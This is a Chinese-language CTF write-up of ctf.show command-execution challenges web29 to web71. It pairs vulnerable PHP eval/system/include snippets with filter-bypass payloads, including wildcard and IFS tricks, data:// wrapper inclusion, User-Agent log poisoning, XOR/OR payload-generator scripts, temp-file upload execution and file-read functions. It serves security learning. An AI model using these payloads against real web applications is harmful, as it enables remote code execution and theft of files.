命令执行
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
考点:
绕过特殊字符的过滤
payload:
?c=system('ls');
?c=system('cat f*');
?c=system('cat f?ag.php');
?c=system('cat f\lag.php');
?c=system("cat f''lag.php");
?c=include($_GET[1]);&1=php:
?c=eval($_GET[1]);&1=system('cat flag.php');
web30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
payload:
?c=echo `tac fl?g.???`;
?c=echo exec('nl fl?g.???');
?c=echo shell_exec('nl fl?g.???');
?c=echo passthru('nl fl?g.???');
其他函数:
popen()
proc_open()
pcntl_exec()
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
考点:
针对读取文件的命令进行了禁止,同时单引号、点和空格也没了
payload(姿势要骚):
与[GXYCTF2019]禁止套娃一样骚的一批
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(array_rand(array_flip(scandir(current(localeconv())))));
?c=print_r(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`/必须加转义字符
总结问题:
Linux 文件与目录管理
linux文件内容查看:
- cat 由第一行开始显示文件内容
- tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写!
- nl 显示的时候,顺道输出行号!
- more 一页一页的显示文件内容
- less 与 more 类似,但是比 more 更好的是,他可以往前翻页!
- head 只看头几行
- tail 只看尾巴几行
- od:以二进制的方式读取档案内容
- vi:一种编辑器,这个也可以查看
- vim:一种编辑器,这个也可以查看
- sort:可以查看
- uniq:可以查看 file -f:报错出具体内容 grep(尚未研究)
- 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
反引号,分号,括号、echo没了
payload:
?c=include$_GET[a]?>&a=php:
?c=include$_GET[a]?>&a=data:
?c=include$_GET[a]?>&a=data:
知识点:
include可以不用括号,分号可以用?>代替
web33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
也就是多了一个双引号
payload:
?c=include$_GET[a]?>&a=data:
web36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了:<=/数字
payload:
?c=include$_GET[a]?>&a=data:
web37
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?>
payload:
?c=data:
骚姿势:配合UA头,包含日志文件:
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 5f1578cc-e37e-47a9-9345-0d1bd3b90c8e.challenge.ctf.show:8080
Upgrade-Insecure-Requests: 1
User-Agent: <?=`tac f*`?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: __cfduid=da172a34e9b16f1e15ed1c229eea973741619340401
Connection: close
web38
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|file|php/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?>
多过滤了php和file,可以继续使用data协议不过是base64编码或者用<?= ?> 来代替php
payload:
?c=data:
web39
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?>
改变在第七行,给$c连接了一个.php,他这么做的目我没有get到,利用上一道题目的payload接着打就可以了
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
ok,细节问题,出题人虽然过滤了括号但是,却只是过滤了中文版的括号,所以当成套娃题目做就可以了
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))));
- each() 返回数组中当前的键/值对并将数组指针向前移动一步
- end() 将数组的内部指针指向最后一个单元
- next() 将数组中的内部指针向前移动一位
- prev() 将数组中的内部指针倒回一位
- array_reverse() 以相反的元素顺序返回数组
- localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
- pos():返回数组中当前元素的值
- scandir():获取目录下的文件
- array_reverse():将数组逆序排列
- next():函数将内部指针指向下一元素,并输出
- print_r(scandir(‘.’)); 查看当前目录下的所有文件名
- current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
注意第6行的变化,以及传参形式变为post类型,同时考虑|运算符
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
用y4的脚本:
<?php
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
结合羽师傅的python的脚本:
或:
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
异或:
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
payload:
c="");("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
c="");("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
eval("echo("");system('cat flag.php');#");
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt 2:/dev/null 代表空设备文件 3:2> 表示stderr标准错误 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null” 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
那么本文标题的语句执行过程为: 1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。 2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
这里我再来进行一波解释: 0表示键盘输入,1表示屏幕输出,2表示错误输出! ‘ > ’ 默认标准输出重定向,与1>相同 2>&1 意思是把标准错误输出重定向到标准输出 &>file 意思是把标准输出和标准错误输出都重定向到文件file中
而我们想要得到输出,就不能让后面的进行执行,所以可以加上截断语句
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php%0a
?c=cat flag.php;
web46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>
payload:
?c=tac%09fla?.php||
?c=nl%09fla''g.php%0a
?c=more%09fl\ag.php%26
空格绕过
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
$IFS\
{cat,flag.php}
%20
%09
web47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>
读文件绕过(cat绕过)
适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看,将文件进行排序并输出
(11)uniq:可以查看,报告或忽略文件中的重复行
(12)file -f:报错出具体内容
grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload:
?c=uniq%09fla?.php%26
?c=od%09fl\ag.php%26%26
?c=vi%09fl\ag.php%26%26
?c=tac%09fl\ag.php||
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=nl$IFS\fla?.php||
?c=nl$IFS\fla\g.php||
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=vi$IFS????????
?c=uniq$IFS????????
?c=/bin/c??$IFS????????
web55(无字母)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
/bin目录
bin为binary的简写主要放置一些 系统的必备执行档
例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
payload:
?c=/???/????64 ????.???
也就是
/bin/base64 flag.php
/usr/bin目录
主要放置一些应用软件工具的必备执行档
例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、
ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
paylaod:
先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件
web56(无字母和数字)
类似题目:2021-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
再看一遍p神的文章
利用通配符绕过,外带sh脚本(此处需要传输post数据)
所有就要先构造post包:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
这个包会被保存在临时文件中/tmp/phpXXXXXX,这样我们就可以用.来触发这个脚本文件
payload:
?c=.+/???/????????[@-[]//加号代表空格
post:
#!/bin/sh
cat flag.php
WEB57
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
点没了问号没了,通配符直接拉了
get新知识点:
利用$和()构造数字36来实现绕过
$(())=0
~$(())=-1
$((~$(())))=$((-1))=-1
$(("$((~$(())))""$((~$(())))"))=$((-1-1))=-1-1=-2
-2-1 01所谓取反的规律是以0和-1中间为y轴对称所以对-2取反就是1
$(("~$(("$((~$(())))""$((~$(())))"))"))=$((~-2))=1
所以这个"$((~$(())))"东西需要37个也就是-37
然后用~$(())来包裹起来实现取反也就是-37=36
最后$(())一包裹就表示36了
脚本:
<?php
$a = '$((~$(('.str_repeat('$((~$(())))',37).'))))';
print($a);
?>
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
看似简单,实则从这里开始就要涉及到disable_functions了,起码我输入system的时候是出现了报错
payload:
c=print_r(scandir(dirname('__FILE__')));
c=var_dump(file('flag.php'));
c=readfile('flag.php');
c=print_r(file('flag.php'));
c=show_source(file(''flag.php));
c=echo file_get_contents('flag.php');
函数:
file — 把整个文件读入一个数组中
readfile — 输出文件,读取文件并写入到输出缓冲。
web59
源码一样,蚁剑可以连接上,但是flag.php是没有办法读取的
payload:
c=highlight_file("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
函数:
feof — 测试文件指针是否到了文件结束的位置
fgets — 从文件指针中读取一行
fgetc — 从文件指针中读取字符
fread — 读取文件(可安全用于二进制文件),第二个参数为最多读取的字节数
fpassthru — 输出文件指针处的所有剩余数据
fgetcsv — 从文件指针中读入一行并解析 CSV 字段,csv是逗号分隔值文件格式,一般用WORDPAD或记事本(NOTE),EXCEL打开。csv(逗号分隔值)是一种用来存储数据的纯文本文件,通常都是用于存放电子表格或数据的一种文件格式。下面和大家分享下几种常用的CSV文件打开方法。
web60-web65
下面源码一样我就不重复了
payload:
c=print_r(scandir('./'));
c=$a=fopen("flag.php","r");while(!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while(!feof($a)) {$line = fgetc($a);echo $line;}0
以读的形式打开一个文件,同时用while循环来保证文件被正常读取完,然后输出flag.php的每一行文件
web66-67
print_r、file、show_source等均被ban了
所以利用这个来获取目录:
c=var_dump(scandir('/'));
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web68-70
新姿势:
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
然后利用:
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
web71
<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
函数解释:
ob_get_contents — 返回输出缓冲区的内容
说明
string ob_get_contents ( void )
只是得到输出缓冲区的内容,但不清除它。
返回值
此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回**FALSE ** 。
<?php
ob_start();
echo "Hello ";
$out1 = ob_get_contents();
echo "World";
$out2 = ob_get_contents();
ob_end_clean();
var_dump($out1, $out2);
?>
以上例程会输出:
string(6) "Hello "
string(11) "Hello World"
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
说明
bool ob_end_clean ( void )
此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在**ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()**时缓冲区内容将被丢弃。
返回值
成功时返回 TRUE , 或者在失败时返回 FALSE 。 错误的原因首先是,在调用时没有一个起作用的缓冲区,或者是因为某些原因缓冲区不能被删除(可能对特殊缓冲区而言)。
<?php
ob_start();
echo 'Text that won\'t get displayed.';
ob_end_clean();
?>
并不会有输出结果
这道题目这么做的目的,重在体现将整个后面的代码全部截断,因为这个东西针对的是所有的输出流,只要填吗存在那么我们获取到输出执行的结果中的数字和字母将全是问号
payload:
c=$a=scandir('/');foreach($a as $key=>$value){echo $key."=>".$value;}
c=$a=fopen("flag.php","r");while(!feof($a)){$line = fgets($a);echo($line)};
c=require_once('/flag.txt');exit();
web72
未完待续
|